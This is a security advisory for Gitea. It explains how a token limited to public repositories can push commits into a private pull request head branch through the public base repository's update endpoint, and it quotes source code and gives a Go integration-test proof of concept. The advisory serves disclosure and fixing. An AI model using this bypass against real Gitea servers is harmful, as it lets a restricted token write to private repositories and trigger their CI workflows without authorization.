Gitea: Public-only repository tokens can update private PR head branches

Summary

Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.

The vulnerable endpoint is:

POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update

Gitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.

As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.

Details

The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.

// routers/api/v1/api.go:1358-1394
					m.Group("/pulls", func() {
						m.Combo("").Get(repo.ListPullRequests).
							Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
						m.Get("/pinned", repo.ListPinnedPullRequests)
						m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
						m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
						m.Group("/{index}", func() {
							m.Combo("").Get(repo.GetPullRequest).
								Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
							m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
							m.Post("/update", reqToken(), repo.UpdatePullRequest)
							m.Get("/commits", repo.GetPullRequestCommits)
							m.Get("/files", repo.GetPullRequestFiles)
							m.Combo("/merge").Get(repo.IsPullRequestMerged).
								Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
								Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
							m.Group("/reviews", func() {
								m.Combo("").
									Get(repo.ListPullReviews).
									Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
								m.Group("/{id}", func() {
									m.Combo("").
										Get(repo.GetPullReview).
										Delete(reqToken(), repo.DeletePullReview).
										Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
									m.Combo("/comments").
										Get(repo.GetPullReviewComments)
									m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
									m.Post("/undismissals", repo.UnDismissPullReview)
								})
							})
							m.Combo("/requested_reviewers", reqToken()).
								Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
								Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
						})
						m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
					}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())

// routers/api/v1/api.go:1465-1466
				}, repoAssignment(), checkTokenPublicOnly())
			}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))

For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.

The update handler then checks whether the caller can update the PR head branch:

// routers/api/v1/repo/pull.go:1220-1270
	pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
	if err != nil {
		if issues_model.IsErrPullRequestNotExist(err) {
			ctx.APIErrorNotFound()
		} else {
			ctx.APIErrorInternal(err)
		}
		return
	}

	if pr.HasMerged {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadIssue(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if pr.Issue.IsClosed {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadBaseRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}
	if err = pr.LoadHeadRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	rebase := ctx.FormString("style") == "rebase"

allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
	if err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
		ctx.Status(http.StatusForbidden)
		return
	}

	// default merge commit message
	message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)

The service checks the head repository using the user's normal repository permission:

// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
	if user == nil {
		return false, false, nil
	}
	if err := pull.LoadBaseRepo(ctx); err != nil {
		return false, false, err
	}
	if err := pull.LoadHeadRepo(ctx); err != nil {
		return false, false, err
	}

	// 1. check whether pull request enabled.
	prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
	if repo_model.IsErrUnitTypeNotExist(err) {
		return false, false, nil // the PR unit is disabled in base repo means no update allowed
	} else if err != nil {
		return false, false, fmt.Errorf("get base repo unit: %v", err)
	}

	// 2. only support Github style pull request
	if pull.Flow == issues_model.PullRequestFlowAGit {
		return false, false, nil
	}

	// 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
	if err != nil {
		return false, false, err
	}

That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.

If allowed, the update service performs a merge/rebase update and pushes into the head repository:

// services/pull/update.go:89-100
	reversePR := &issues_model.PullRequest{
		BaseRepoID: pr.HeadRepoID,
		BaseRepo:   pr.HeadRepo,
		BaseBranch: pr.HeadBranch,

		HeadRepoID: pr.BaseRepoID,
		HeadRepo:   pr.BaseRepo,
		HeadBranch: pr.BaseBranch,
	}

_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
	return err

The result is a server-side private repository write performed through a public route.

PoC

import (
	"encoding/base64"
	"fmt"
	"net/http"
	"net/url"
	"testing"
	"time"

	actions_model "code.gitea.io/gitea/models/actions"
	auth_model "code.gitea.io/gitea/models/auth"
	repo_model "code.gitea.io/gitea/models/repo"
	unit_model "code.gitea.io/gitea/models/unit"
	"code.gitea.io/gitea/models/unittest"
	user_model "code.gitea.io/gitea/models/user"
	"code.gitea.io/gitea/modules/gitrepo"
	api "code.gitea.io/gitea/modules/structs"
	webhook_module "code.gitea.io/gitea/modules/webhook"
	repo_service "code.gitea.io/gitea/services/repository"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
	onGiteaRun(t, func(t *testing.T, _ *url.URL) {
		doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})

		baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
			Name:          "public-pr-update-base",
			Description:   "public base repository for public-only PR update PoC",
			AutoInit:      true,
			Readme:        "Default",
			DefaultBranch: "main",
			IsPrivate:     false,
		})
		require.NoError(t, err)

		headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
			BaseRepo:     baseRepo,
			Name:         "private-pr-update-head",
			Description:  "private head repository for public-only PR update PoC",
			SingleBranch: baseRepo.DefaultBranch,
		})
		require.NoError(t, err)
		require.NotNil(t, headRepo)
		require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
			RepoID: headRepo.ID,
			Type:   unit_model.TypeActions,
		}}, nil))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})

		headBranch := "private-head-update"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: baseRepo.DefaultBranch,
			NewBranch: headBranch,
		}, map[string]string{
			"private-head-marker.txt": "private head branch marker",
		})
		const workflowID = "private-push.yml"
		const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: headBranch,
			NewBranch: headBranch,
		}, map[string]string{
			".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
  push:
    branches:
      - %s
jobs:
  private-head-job:
    runs-on: ubuntu-latest
    steps:
      - run: echo %s
`, headBranch, workflowSentinel),
		})

		require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
			ID:        headRepo.ID,
			IsPrivate: true,
		}, "is_private"))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
		require.True(t, headRepo.IsPrivate)
		baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})

		session := loginUser(t, doer.Name)
		publicOnlyToken := getTokenForLoggedInUser(t, session,
			auth_model.AccessTokenScopePublicOnly,
			auth_model.AccessTokenScopeWriteRepository,
		)

		publicPath := "public-base-injected-into-private.txt"
		publicMarker := "FAULT-GITEA-062 public base content reached private head"
		createPublicBaseFile := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: baseRepo.DefaultBranch,
				Message:    "create public marker for private head update",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
		}
		req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusCreated)

		privatePath := "direct-private-write-should-fail.txt"
		directPrivateWrite := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: headBranch,
				Message:    "direct private write attempt",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusNotFound)

		prPayload := map[string]string{
			"title": "faultline public-only private head update",
			"base":  baseRepo.DefaultBranch,
			"head":  fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
			AddTokenAuth(publicOnlyToken)
		resp := MakeRequest(t, req, http.StatusCreated)

		var pr api.PullRequest
		DecodeJSON(t, resp, &pr)
		require.Equal(t, prPayload["title"], pr.Title)

		gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
		require.NoError(t, err)
		defer gitRepo.Close()

		commit, err := gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		_, err = commit.GetBlobByPath(publicPath)
		require.Error(t, err)

		req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusOK)
		assert.Eventually(t, func() bool {
			return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
		}, 5*time.Second, 50*time.Millisecond)

		actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
			RepoID:     headRepo.ID,
			WorkflowID: workflowID,
		}, unittest.OrderBy("id DESC"))
		assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
		assert.Equal(t, "push", actionRun.TriggerEvent)
		assert.Equal(t, doer.ID, actionRun.TriggerUserID)
		assert.NotEmpty(t, actionRun.CommitSHA)

		job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
		assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)

		commit, err = gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		blob, err := commit.GetBlobByPath(publicPath)
		require.NoError(t, err)
		content, err := blob.GetBlobContent(1024)
		require.NoError(t, err)
		assert.Equal(t, publicMarker, content)
	})
}

Impact

The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.

Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.

When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.